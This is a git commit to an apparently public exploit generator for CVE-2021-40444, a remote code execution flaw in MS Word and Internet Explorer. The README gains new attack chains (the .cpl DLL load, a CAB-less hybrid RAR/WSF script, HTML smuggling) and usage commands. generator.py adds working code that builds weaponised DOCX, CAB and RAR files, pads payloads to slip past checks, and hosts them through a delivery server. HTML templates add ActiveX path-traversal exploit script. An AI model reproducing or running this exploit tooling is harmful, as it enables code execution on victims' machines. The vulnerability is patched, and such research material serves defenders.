Added CAB-based IE-only attacks, and CAB-less attacks via hybrid RAR and additional URI schemes

2 years ago · a0d1b8d4c4
parent 31415dbf4e
commit a0d1b8d4c4
27 changed files with 1376 additions and 55 deletions
--- a/.gitignore
+++ b/.gitignore
@ -1,9 +1,8 @@
 venv
 out
-test
 srv
 .idea
 __pycache__
-template/sample4-nw.html
 !srv/index.html
 setup*
+*.7z
--- a/README.md
+++ b/README.md
@ -34,6 +34,11 @@ There are quite a bit of overlooked requirements for this exploit to work, which
 Maybe nobody explicitly "released" them to avoid the vulnerability to be exploited more. But now it's patched,
 so it should not cause a lot of troubles to release the details.

+#### HTML File
+
+As for this [tweet](https://twitter.com/wdormann/status/1440036541112328199) by [Will Dormann](https://twitter.com/wdormann), 
+the HTML should be at least 4096 bytes in size in order to trigger the "Preview" within MS Word. 
+
 #### CAB File

 The CAB file needs to be byte-patched to avoid extraction errors and to achieve the ZipSlip:
@ -67,6 +72,62 @@ on this. Up to the curious reader to develop this further.

 **NOTE2**: Microsoft Patch blocks arbitrary URI schemes, apparently using a blacklist approach (this is just a supposition)

+# DLL Attack
+
+The main attack chain associated with CVE-2021-40444 is the DLL attack loaded via the `.cpl` URI scheme. In order to 
+exploit that, an attacker needs to generate a specially crafted DLL. If you want to test it out, try my [evildll-gen](https://gist.github.com/klezVirus/e24c94d7061f5736e2452eee022f4011)
+script.
+
+# JScript, VBScript, Javaw, MSIexec, ...
+
+As noted by [Max Maluin](https://twitter.com/Max_Mal_), it is possible to interact with several filetypes abusing IE and 
+the associated file extension based URI. While this is might be a good way to exploit IE, it has limitations.
+
+Indeed, irtshould be noted that the method used in the exploit to download files is based on ActiveX control updates, 
+and cannot be used to download arbitrary files.
+As per Microsoft [documentation](https://docs.microsoft.com/it-it/cpp/mfc/upgrading-an-existing-activex-control?view=msvc-160), the `codebase` tag
+can point just to a few filetypes: OCX, INF and CAB.
+
+Even if we can directly download an OCX or INF file, we still can't be sure to download the file in the right location 
+within the system. With the cab exploit, it is possible to move the `.inf` file in a well-known path using the path traversal,
+but in any other case the file will be stored in a random directory, making it virtually impossible to reference it.
+
+As of today, I didn't find a way to chain download and execution WITHOUT a CAB file.
+
+Note: Talking about IE alone, HTML smuggling could be a possible scenario to exploit the vulnerability.
+
+# Cab-less file attack using hybrid RAR file
+
+This technique was firstly disclosed by [Eduardo Braun](https://twitter.com/Edu_Braun_0day) on Twitter and further explained in [this](https://github.com/Edubr2020/CVE-2021-40444--CABless/blob/main/MS_Windows_CVE-2021-40444%20-%20'Ext2Prot'%20Vulnerability%20'CABless'%20version.pdf) paper.
+
+Please note that using this technique, the attack chain is a bit different. This attack requires the user to download 
+a specially crafted RAR file, obtained by chaining a valid WSF script and a valid RAR file. Once opened, the RAR will contain 
+a DOCX with a reference to an HTML, which in turn will try to load the RAR file as a WSF script.
+
+To summarise:
+
+1. Specially crafted RAR file is downloaded (likely Download folder)
+2. DOCX extracted and opened
+3. Relationship stored in document.xml.rels points to malicious html
+4. IE preview is launched to open the HTML link
+5. JScript within the HTML contains a script/iframe pointing to the RAR file, prefixed with the ".wsf:" URI scheme
+6. As the RAR was designed to be contemporaneously a valid RAR and a valid WSF script, the script is executed
+
+# What are the exploits PoC implemented by the tool
+
+The generator utility can currently reproduce the following attacks:
+
+| Attack                                    | HTML Templates      | Target | Delivery Method | Execution Method | Working         |
+|-------------------------------------------|---------------------|--------|-----------------|------------------|-----------------|
+| Original version of the attack            | cab-orig-*          | WORD   | DOCX            | CAB + DLL        | YES             |
+| j00sean IE-only attack                    | cab-orig-j00san     | IE     | HTML            | CAB + DLL        | YES             |
+| My version without DLL                    | cab-uri-*           | WORD   | DOCX            | CAB + JS/VBS     | NO<sup>1</sup>  |
+| Eduardo B. "CABless" attack using RAR     | cabless-rar-*       | WORD   | RAR             | WSF              | YES             |
+| Modified j00sean attack + HTML smuggling  | cabless-smuggling-* | IE     | HTML            | JS/VBS           | YES<sup>2</sup> | 
+
+_<sup>1</sup>The CAB is not downloaded properly in some environments_
+_<sup>2</sup>The user needs to click on "Save" to download the file on IE_
+
 # CAB file parser

 The utility `cab_parser.py` can be used to see the headers of the exploit file, but don't consider this a full 
@ -97,10 +158,12 @@ pip install -r requirements

 # Usage

-The generator is trivial to use, and has been tested with a number of different DLL payloads.
+The generator is trivial to use, and even if it has been tested with a number of different payloads and Windows
+versions, it is not fail-proof. I'm encountering different behaviours across different Windows builds. As soon as
+I have more details to share, I'll post them here.

 ```
-usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-p LPORT] [-c COPY_TO]
+usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]

 [%] CVE-2021-40444 - MS Office Word RCE Exploit [%]

@ -112,14 +175,38 @@ optional arguments:
  -o OUTPUT, --output OUTPUT
                        Output files basename (no extension)
  --host                If set, will host the payload after creation
-  -p LPORT, --lport LPORT
-                        Port to use when hosting malicious payload
  -c COPY_TO, --copy-to COPY_TO
                        Copy payload to an alternate path
+  -nc, --no-cab         Use the CAB-less version of the exploit
+  -t, --test            Open IExplorer to test the final HTML file
+```
+
+# Example
+
+* Generate the original exploit and test it locally
+
+```
+python generator.py -u http://127.0.0.1 -P test\calc.dll --host 
+```
+_Note: the port is selected by the URL, and the exploit is generated basing on the payload file extension_
+
+* Generate the CABless exploit with RAR and test it locally via IE
+
+```
+python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t 
+```
+
+* Generate the CABless exploit (IE-only) with HTML smuggling and test it locally via IE
+
+```
+python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t 
 ```

 # Credits

 * [RET2_pwn](https://twitter.com/RET2_pwn) for the amazing blog
 * [j00sean](https://twitter.com/j00sean) for the good hints
-* [lockedbyte](https://github.com/lockedbyte/CVE-2021-40444) for the first decent poc
+* [lockedbyte](https://github.com/lockedbyte/CVE-2021-40444) for the first decent poc
+* [Max_Mal](https://twitter.com/Max_Mal) for the hint on the alternate URI schemes
+* [wdormann](https://twitter.com/wdormann) for the hint on the HTML file size restrictions
+* [Edu_Braun_0day](https://twitter.com/Edu_Braun_0day) for the cool CAB-less version of the exploit
--- a/bin/Rar.exe
+++ b/bin/Rar.exe
--- a/bin/RarExt.dll
+++ b/bin/RarExt.dll
--- a/bin/RarExt32.dll
+++ b/bin/RarExt32.dll
--- a/clean.bat
+++ b/clean.bat
@ -0,0 +1,8 @@
+@echo off
+
+del /F /Q "setup.inf"
+del /F /Q "setup.rpt"
+del /F /Q "out\*"
+del /F /Q "data\*.dll"
+del /F /Q "srv\*"
+xcopy /Y /Q "template\index.html" "srv\"
--- a/generator.py
+++ b/generator.py
@ -4,17 +4,22 @@
 # Result is ability for attackers to execute arbitrary custom DLL's
 # downloaded and executed on target system
 import argparse
+import base64
 import binascii
 import random
 import re
+import secrets
 import shutil
 import string
 import struct
 import sys
 import os
 import subprocess
+import tempfile
+import time
 import traceback
 from pathlib import Path
+
 from cab_parser import Cab
 from in_place import InPlace

@ -77,7 +82,103 @@ def execute_cmd(cmd, execute_from=None):
        exit(1)


-def generate_payload(payload, server_url, basename, copy_to=None):
+def patch_rar(rar_file, script: bytes):
+    # JS downloader string
+    downloader = bytearray(script)
+    # Appending null byte
+    # downloader.append(0)
+    content = bytearray(open(rar_file, "rb").read())
+    content = bytes(downloader + content)
+    with open(rar_file, "wb") as rar:
+        rar.write(content)
+
+
+def rar(file: Path, rar_file, delete=False):
+    try:
+        output = subprocess.check_output(
+            f"bin\\rar.exe a -ep \"{rar_file}\" \"{str(file)}\"",
+            stderr=subprocess.STDOUT,
+            shell=True
+        )
+        if delete:
+            file.unlink(missing_ok=True)
+    except subprocess.CalledProcessError:
+        print("[-] Error generating RAR archive")
+        exit(1)
+
+
+def make_rar(rar_file):
+    file_name = None
+    with tempfile.NamedTemporaryFile(
+            suffix=".txt",
+            delete=False,
+            mode="w"
+    ) as txt_file:
+        txt_file.write("You've been pwnd!")
+        file_name = Path(txt_file.name).absolute()
+
+    rar(file_name, rar_file, delete=True)
+
+
+def choose_template(templates: list):
+    try:
+        print("[*] Multiple compatible templates identified, choose one:")
+        choice = -1
+        for n, t in enumerate(templates, start=0):
+            print(f"  {n}: {t}")
+        while not 0 <= choice <= len(templates) - 1:
+            try:
+                choice = int(input("  $> "))
+            except ValueError:
+                continue
+        return templates[choice]
+    except KeyboardInterrupt:
+        print("[-] Aborting")
+        sys.exit(1)
+
+
+def append_garbage(content: str, exploit: str):
+    eol = '\n'
+    garbage = ""
+    filler = "A" * 80000
+    if exploit == ".vbs":
+        eol = '" _ \n & "'
+        garbage = rf"""
+Dim Garbage
+Garbage = "{eol.join([filler[i:i + 100] for i in range(0, len(filler), 100)])}";
+        """
+    elif exploit == ".js":
+        garbage = f"var x = '';{eol}" + eol.join([f"x = '{filler[i:i + 100]}';" for i in range(0, len(filler), 100)])
+    elif exploit in [".wsf", ".hta"]:
+        garbage = f"<!--{eol}{filler}{eol}-->{eol}"
+    return content + garbage
+
+
+def get_file_extension_based_uri(exploit, no_cab=False):
+    if exploit == ".dll":
+        return ".cpl"
+    elif exploit in [".hta", ".js", ".vbs", ".wsf", ".hta"] and no_cab:
+        return exploit
+    elif exploit in [".hta", ".js", ".vbs", ".wsf", ".hta"]:
+        return ".wsf"
+
+
+def get_mime_type(exploit):
+    if exploit == ".dll":
+        return "application/octet-stream"
+    elif exploit == ".hta":
+        return "application/hta"
+    elif exploit == ".js":
+        return "text/javascript"
+    elif exploit == ".vbs":
+        return "text/vbscript"
+    elif exploit == ".wsh":
+        return "text/plain"
+    elif exploit == ".wsf":
+        return "text/xml"
+
+
+def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False):
    # Current Working Directory
    working_directory = Path(__file__).parent

@ -94,9 +195,34 @@ def generate_payload(payload, server_url, basename, copy_to=None):
    word_dll = data_path.joinpath(f'{basename}.dll')
    word_doc = out_path.joinpath('document.docx')
    ddf = data_path.joinpath('mswordcab.ddf')
-    cab_file = out_path.joinpath(f"{basename}.cab")
-    inf_file = cab_path.joinpath(f"{basename}.inf")
-    html_template_file = template_path.joinpath("sample3.html")
+    archive_file = out_path.joinpath(f"{basename}.cab")
+    rar_file = out_path.joinpath(f"{basename}.rar")
+    exploit_file = cab_path.joinpath(f"{basename}.inf")
+
+    exploit = os.path.splitext(args.payload)[1]
+
+    if no_cab and exploit != ".wsf":
+        print("[-] CAB-less version chosen, only .wsf is currently working")
+        exit(1)
+
+    lolbin = exploit not in [".dll"]
+
+    if exploit == ".wsf" and no_cab:
+        id = "cabless-rar-"
+    elif lolbin and no_cab:
+        id = "cabless-smuggling-"
+    elif lolbin:
+        id = "cab-uri-"
+    else:
+        id = "cab-orig-"
+
+    script_file = None
+    templates = [
+        f for f in os.listdir(str(template_path))
+        if os.path.isfile(os.path.join(str(template_path), f))
+           and f.find(id) > -1
+    ]
+    html_template_file = template_path.joinpath(choose_template(templates))
    html_final_file = srv_path.joinpath(f"{basename}.html")

    # Checking ephemeral directories
@ -106,25 +232,44 @@ def generate_payload(payload, server_url, basename, copy_to=None):
    out_path.mkdir(exist_ok=True)

    print(f'  [>] Payload: {payload}')
-    print(f'  [>] HTML/CAB Hosting Server: {server_url}')
+    print(f'  [>] HTML/CAB/JS Hosting Server: {server_url}')

+    b64_payload = None
+    payload_content = None
    try:
-        payload_content = open(payload, 'rb').read()
+        if exploit != ".dll" and no_cab:
+            payload_content = open(payload, 'r').read().strip().encode()
+        elif exploit != ".dll":
+            payload_content = "\x5a\x4d" + open(payload, 'r').read().strip()
+            payload_content = append_garbage(payload_content, exploit)
+            payload_content = payload_content.encode()
+        else:
+            payload_content = open(payload, 'rb').read()
        with open(str(word_dll), 'wb') as filep:
            filep.write(payload_content)
+        b64_payload = base64.b64encode(payload_content).decode()
    except FileNotFoundError:
-        print('[-] DLL Payload specified not found!')
+        print('[-] Payload specified not found!')
        exit(1)
    except Exception as e:
        print(f"[-] Exception: {e}")
        exit(1)

+    if lolbin and no_cab:
+        tmp = Path(exploit_file.parent).joinpath(basename + get_file_extension_based_uri(exploit))
+        exploit_file.unlink(missing_ok=True)
+        exploit_file = Path(tmp)
+        with open(str(exploit_file), "w") as out:
+            out.write(payload_content.decode())
+        print(f"[*] Exposing script file {exploit_file.name} to the webserver for download")
+        shutil.copy(str(exploit_file), str(srv_path))
+
    shutil.copytree(str(word_dat_path), str(tmp_path), dirs_exist_ok=True)
-    print('[*] Crafting Relationships to point to HTML/CAB Hosting Server...')
+    print('[*] Crafting Relationships to point to HTML/CAB/JS Hosting Server...')
    with InPlace(str(tmp_path.joinpath("word").joinpath("_rels").joinpath('document.xml.rels'))) as rels:
        xml_content = rels.read()
        xml_content = xml_content.replace('<EXPLOIT_HOST_HERE>', f'{server_url}/{html_final_file.name}')
-        xml_content = xml_content.replace('<INF_CHANGE_HERE>', inf_file.name)
+        # xml_content = xml_content.replace('<INF_CHANGE_HERE>', inf_file.name)
        rels.write(xml_content)

    print('[*] Packing MS Word .docx file...')
@ -133,18 +278,19 @@ def generate_payload(payload, server_url, basename, copy_to=None):
    shutil.move(str(word_doc) + ".zip", str(word_doc))
    shutil.rmtree(str(tmp_path))

-    print('[*] Generating CAB file...')
-    make_ddf(ddf_file=ddf, cab_file=cab_file, inf_file=inf_file)
-    shutil.move(word_dll, inf_file)
+    if not no_cab:
+        print('[*] Generating CAB file...')
+        make_ddf(ddf_file=ddf, cab_file=archive_file, inf_file=exploit_file)
+        shutil.move(word_dll, exploit_file)

-    execute_cmd(f'makecab /F "{ddf.absolute()}"', execute_from=str(working_directory))
-    patched_path = f'../{inf_file.name}'.encode()
-    patch_cab(cab_file, str(inf_file.name).encode(), patched_path)
-    shutil.copy(cab_file, srv_path)
-    shutil.copy(ddf, srv_path)
+        execute_cmd(f'makecab /F "{ddf.absolute()}"', execute_from=str(working_directory))
+        patched_path = f'../{exploit_file.name}'.encode()
+        patch_cab(archive_file, str(exploit_file.name).encode(), patched_path)
+        shutil.copy(archive_file, srv_path)
+        shutil.copy(ddf, srv_path)

    word_dll.unlink(missing_ok=True)
-    inf_file.unlink(missing_ok=True)
+    exploit_file.unlink(missing_ok=True)
    ddf.unlink(missing_ok=True)
    shutil.rmtree(str(cab_path.absolute()))

@ -156,25 +302,55 @@ def generate_payload(payload, server_url, basename, copy_to=None):
    dest.unlink(missing_ok=True)
    shutil.copy(str(word_doc.absolute()), dest)

-    if copy_to and os.path.isdir(copy_to):
+    if copy_to and os.path.isdir(copy_to) and not no_cab:
        print(f'[*] Copying malicious cab to {copy_to} for analysis...')
-        dest = Path(copy_to).joinpath(cab_file.name)
+        dest = Path(copy_to).joinpath(archive_file.name)
        dest.unlink(missing_ok=True)
-        shutil.copy(str(cab_file.absolute()), dest)
-        print(f'  [>] CAB file stored at: {cab_file}')
+        shutil.copy(str(archive_file.absolute()), dest)
+        print(f'  [>] CAB file stored at: {archive_file}')

    with InPlace(str(html_final_file)) as p_exp:
        content = p_exp.read()
-        content = content.replace('<HOST_CHANGE_HERE>', f"{server_url}/{cab_file.name}")
-        content = content.replace('<INF_CHANGE_HERE>', f"{inf_file.name}")
+        content = content.replace('<HOST_CHANGE_HERE>', f"{server_url}/{archive_file.name}")
+        content = content.replace('<INF_CHANGE_HERE>', f"{exploit_file.name}")
+        content = content.replace('<RAR_CHANGE_HERE>', f"{rar_file.name}")
+        content = content.replace('<URI_SCHEME_HERE>', get_file_extension_based_uri(exploit))
+        content = content.replace('<BASE64_DATA_HERE>', b64_payload)
+        content = content.replace('<MIME_TYPE_HERE>', get_mime_type(exploit))
+        content = content.replace('<FIRST_LETTER>', get_file_extension_based_uri(exploit)[1])
+        content = content.replace('<SECOND_LETTER>', get_file_extension_based_uri(exploit)[2])
+        content = content.replace('<THIRD_LETTER>', get_file_extension_based_uri(exploit)[3])
        p_exp.write(content)

    print(f'[+] Success! MS Word Document stored at: {word_doc}')

+    if exploit == ".wsf" and no_cab:
+        print(f"[*] Generating RAR file {rar_file.name}... and pushing it to 'Downloads', to emulate user download")
+        rar_dest = Path(os.getenv("USERPROFILE")).joinpath("Downloads").joinpath(rar_file.name)
+        wsf_file = Path(os.getenv("USERPROFILE")).joinpath("Downloads").joinpath("test.wsf")
+        rar(word_doc, rar_dest, delete=False)
+        patch_rar(rar_file=rar_dest, script=payload_content)
+        shutil.copy(str(rar_dest), str(srv_path))
+        shutil.copy(str(rar_dest), str(wsf_file))
+
+    return html_final_file.name
+

 def start_server(lport, directory: Path):
+    this = Path(__file__).parent.joinpath("util").joinpath("server.py")
    subprocess.Popen(
-        f'start /D "{directory.absolute()}" "CVE-2021-40444 Payload Delivery Server" cmd /c python -m http.server {lport}',
+        f'start /D "{directory.absolute()}" "CVE-2021-40444 Payload Delivery Server" cmd /c python "{this.absolute()}" localhost {lport}',
+        shell=True,
+        close_fds=True,
+        stderr=subprocess.DEVNULL,
+        stdout=subprocess.DEVNULL,
+        creationflags=subprocess.DETACHED_PROCESS
+    )
+
+
+def start_client(url):
+    subprocess.Popen(
+        f'"C:\\Program Files\\Internet Explorer\\iexplore.exe" "{url}"',
        shell=True,
        close_fds=True,
        stderr=subprocess.DEVNULL,
@ -209,20 +385,53 @@ if __name__ == '__main__':
                        help="Output files basename (no extension)")
    parser.add_argument('--host', action='store_true', default=False, required=False,
                        help="If set, will host the payload after creation")
-    parser.add_argument('-p', '--lport', type=int, default=8080, required=False,
-                        help="Port to use when hosting malicious payload")
    parser.add_argument('-c', '--copy-to', type=str, default=None, required=False,
                        help="Copy payload to an alternate path")
+    parser.add_argument('-nc', '--no-cab', action='store_true', default=False, required=False,
+                        help="Use the CAB-less version of the exploit")
+    parser.add_argument('-t', '--test', action='store_true', default=False, required=False,
+                        help="Open IExplorer to test the final HTML file")

    args = parser.parse_args()

    filename = validate_filename(args.output)

    print('[*] Generating a malicious payload...')
+    html = None
+    server = args.url
+
+    port = 80
+    try:
+        scheme, ip = server.split(":")[0], server.replace("//", "/").split("/")[1]
+        if scheme == "http":
+            port = 80
+        elif scheme == "https":
+            port = 443
+        else:
+            raise NotImplemented(f"Scheme {scheme} is not supported")
+        if len(server.split(":")) > 2:
+            port = int(server.split(":")[2].split("/")[0])
+    except NotImplemented as e:
+        print(f"[-] {e}")
+        exit(1)
+    except (ValueError, KeyError, IndexError):
+        print("[-] Wrong URL format")
+        exit(1)
+
    try:
-        generate_payload(payload=args.payload, server_url=args.url, basename=filename, copy_to=args.copy_to)
+        html = generate_payload(payload=args.payload, server_url=server, basename=filename, copy_to=args.copy_to,
+                                no_cab=args.no_cab)
+    except (SystemExit, KeyboardInterrupt):
+        exit(1)
    except:
        traceback.print_exc()
-    if args.host:
-        print('[*] Hosting HTML Exploit...')
-        start_server(lport=args.lport, directory=Path(__file__).parent.joinpath("srv"))
+        exit(1)
+    if args.host and html:
+        print(f'[*] Hosting HTML Exploit at {args.url}:{port}/{html}...')
+        start_server(lport=port, directory=Path(__file__).parent.joinpath("srv"))
+    if args.test:
+        if os.path.splitext(args.payload)[1] != ".wsf":
+            print(f"[-] IE testing might not compatible with {os.path.splitext(args.payload)[1]}")
+        print(f'[*] Opening IE at {args.url}/{html}...')
+        time.sleep(3)
+        start_client(f"{args.url}/{html}")
--- a/template/cab-orig-debobfuscated1.html
+++ b/template/cab-orig-debobfuscated1.html
--- a/template/cab-orig-debobfuscated2.html
+++ b/template/cab-orig-debobfuscated2.html
@ -105,39 +105,39 @@ function getValue(totalExpectedResults, entrySelector) {
  s["setAttribute"]("classid", "CLSID:edbc374c-5730-432a-b5b8-de94f0b57217");
  PL$22["call"](view["Script"]["document"]["body"], s);
  /** @type {string} */
-  iedom["Script"]["location"] = "." + _ + colname + i + ":123";
+  iedom["Script"]["location"] = ".cpl" + ":123";
  /** @type {string} */
-  iedom["Script"]["location"] = "." + _ + colname + i + ":123";
+  iedom["Script"]["location"] = ".cpl" + ":123";
  /** @type {string} */
-  iedom["Script"]["location"] = "." + _ + colname + i + ":123";
+  iedom["Script"]["location"] = ".cpl" + ":123";
  /** @type {string} */
-  iedom["Script"]["location"] = "." + _ + colname + i + ":123";
+  iedom["Script"]["location"] = ".cpl" + ":123";
  /** @type {string} */
-  iedom["Script"]["location"] = "." + _ + colname + i + ":123";
+  iedom["Script"]["location"] = ".cpl" + ":123";
  /** @type {string} */
-  iedom["Script"]["location"] = "." + _ + colname + i + ":123";
+  iedom["Script"]["location"] = ".cpl" + ":123";
  /** @type {string} */
-  iedom["Script"]["location"] = "." + _ + colname + i + ":123";
+  iedom["Script"]["location"] = ".cpl" + ":123";
  /** @type {string} */
-  iedom["Script"]["location"] = "." + _ + colname + i + ":123";
+  iedom["Script"]["location"] = ".cpl" + ":123";
  /** @type {string} */
-  iedom["Script"]["location"] = "." + _ + colname + i + ":123";
+  iedom["Script"]["location"] = ".cpl" + ":123";
  /** @type {string} */
-  iedom["Script"]["location"] = "." + _ + colname + i + ":../../../AppData/Local/Temp/Low/<INF_CHANGE_HERE>";
+  iedom["Script"]["location"] = ".cpl" + ":../../../AppData/Local/Temp/Low/<INF_CHANGE_HERE>";
  /** @type {string} */
-  rp_test["Script"]["location"] = "." + _ + colname + i + ":../../../AppData/Local/Temp/<INF_CHANGE_HERE>";
+  rp_test["Script"]["location"] = ".cpl" + ":../../../AppData/Local/Temp/<INF_CHANGE_HERE>";
  /** @type {string} */
-  htmlfile["Script"]["location"] = "." + _ + colname + i + ":../../../../AppData/Local/Temp/Low/<INF_CHANGE_HERE>";
+  htmlfile["Script"]["location"] = ".cpl" + ":../../../../AppData/Local/Temp/Low/<INF_CHANGE_HERE>";
  /** @type {string} */
-  fake["Script"]["location"] = "." + _ + colname + i + ":../../../../AppData/Local/Temp/<INF_CHANGE_HERE>";
+  fake["Script"]["location"] = ".cpl" + ":../../../../AppData/Local/Temp/<INF_CHANGE_HERE>";
  /** @type {string} */
-  doc["Script"]["location"] = "." + _ + colname + i + ":../../../../../Temp/Low/<INF_CHANGE_HERE>";
+  doc["Script"]["location"] = ".cpl" + ":../../../../../Temp/Low/<INF_CHANGE_HERE>";
  /** @type {string} */
-  fake["Script"]["location"] = "." + _ + colname + i + ":../../../../../Temp/<INF_CHANGE_HERE>";
+  fake["Script"]["location"] = ".cpl" + ":../../../../../Temp/<INF_CHANGE_HERE>";
  /** @type {string} */
-  fake["Script"]["location"] = "." + _ + colname + i + ":../../Low/<INF_CHANGE_HERE>";
+  fake["Script"]["location"] = ".cpl" + ":../../Low/<INF_CHANGE_HERE>";
  /** @type {string} */
-  fake["Script"]["location"] = "." + _ + colname + i + ":../../<INF_CHANGE_HERE>";
+  fake["Script"]["location"] = ".cpl" + ":../../<INF_CHANGE_HERE>";
 }();

 </script>
--- a/template/cab-orig-j00sean.html
+++ b/template/cab-orig-j00sean.html
@ -0,0 +1,79 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta http-equiv="Expires" content="-1">
+    <meta http-equiv="X-UA-Compatible" content="IE=11">
+    <title>CVE-2021-40444</title>
+</head>
+<body>
+<script>
+
+     // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
